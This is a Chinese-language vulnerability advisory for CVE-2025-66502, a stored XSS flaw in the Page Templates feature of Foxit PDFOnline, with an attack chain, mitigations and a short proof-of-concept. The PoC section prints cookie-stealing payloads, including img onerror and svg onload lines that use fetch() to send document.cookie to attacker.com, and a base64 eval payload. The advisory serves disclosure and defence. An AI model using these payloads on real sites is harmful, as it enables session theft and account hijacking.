IPBUF安全漏洞报告
English
CVE-2025-66502 CVSS 6.3 中危

CVE-2025-66502 Foxit PDFOnline 存储型XSS漏洞

披露日期: 2025-12-19
来源: 14984358-7092-470d-8f34-ade47a7658a2

漏洞信息

漏洞编号
CVE-2025-66502
漏洞类型
存储型XSS
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Foxit PDFOnline (pdfonline.foxit.com)

相关标签

CVE-2025-66502存储型XSS跨站脚本Foxit PDFOnlinePage TemplatesWeb安全PDF安全CVSS 6.3

漏洞概述

CVE-2025-66502是Foxit PDFOnline(pdfonline.foxit.com)存在的一个存储型跨站脚本攻击(Stored XSS)漏洞。该漏洞位于页面模板(Page Templates)功能中,攻击者可以通过精心构造的恶意载荷(Payload)将其存储为模板名称。由于该模板名称在后续被加载到DOM中时未经过充分的消毒处理,导致注入的恶意JavaScript脚本在每次加载受影响的PDF文件时都会执行。成功利用此漏洞的攻击者可以在受害者浏览器中执行任意JavaScript代码,从而窃取用户会话Cookie、劫持用户账户、进行钓鱼攻击或传播恶意软件。由于该漏洞为存储型XSS,其危害性高于反射型XSS,因为恶意脚本会持久存在于服务器端,影响所有访问该PDF的用户。

技术细节

该漏洞的根本原因在于Foxit PDFOnline的Page Templates功能对用户输入的模板名称缺乏有效的输入验证和输出编码。当用户创建一个新的页面模板时,系统直接接受并存储用户提供的模板名称,而未对其中的HTML特殊字符或JavaScript代码进行转义或过滤。随后,当其他用户打开包含该恶意模板的PDF文档时,后端系统会从数据库中检索该模板名称并直接嵌入到网页的DOM结构中。由于缺少适当的HTML实体编码(如将<转换为&lt;,将>转换为&gt;),浏览器会将这些恶意脚本内容解析为可执行的JavaScript代码并执行。攻击者可以利用此漏洞执行多种客户端攻击,包括但不限于:窃取用户认证令牌、修改页面内容显示、诱导用户输入敏感信息、或将用户重定向至钓鱼网站。该漏洞的利用需要攻击者具有一定的用户权限(低权限即可),并且需要诱导受害者与恶意PDF进行交互。

攻击链分析

STEP 1
步骤1
攻击者注册并登录Foxit PDFOnline平台,获取低权限用户账户
STEP 2
步骤2
攻击者访问Page Templates功能,创建新模板并在模板名称字段中注入恶意XSS载荷,如<script>alert(document.cookie)</script>
STEP 3
步骤3
系统将恶意模板名称未经消毒处理直接存储到数据库中
STEP 4
步骤4
攻击者将包含该恶意模板的PDF文档分享给目标受害者或上传至平台供他人访问
STEP 5
步骤5
当受害者打开或预览该PDF文档时,后端系统从数据库检索模板名称并将其嵌入到网页DOM中
STEP 6
步骤6
受害者浏览器解析DOM时将恶意脚本内容作为JavaScript执行,导致Cookie被窃取或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-66502 Stored XSS PoC --> <!-- Foxit PDFOnline Page Templates XSS --> <!-- Step 1: Create a malicious template with XSS payload --> <!-- Template Name Payload --> <script>alert(document.cookie)</script> <!-- Alternative payload variants: --> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <svg/onload=fetch('https://attacker.com/log?data='+btoa(document.cookie))> <body onload="eval(atob('YWxlcnQoJ1hTUyBFeHBsb2l0ZWQnKQ=='))"> <!-- Step 2: Upload or share the PDF containing the malicious template --> <!-- When victim opens the PDF, the XSS payload executes automatically -->

影响范围

Foxit PDFOnline < 修复版本
pdfonline.foxit.com Page Templates功能 所有已知版本

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)禁用或限制Page Templates功能的访问,仅允许受信任用户使用;2)部署Web应用防火墙(WAF)规则检测和阻止包含XSS特征的请求;3)对所有PDF文档输出实施严格的HTML编码;4)提醒用户不要打开来源不明的PDF文件;5)监控和审查用户创建的模板内容,及时发现和删除恶意载荷。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表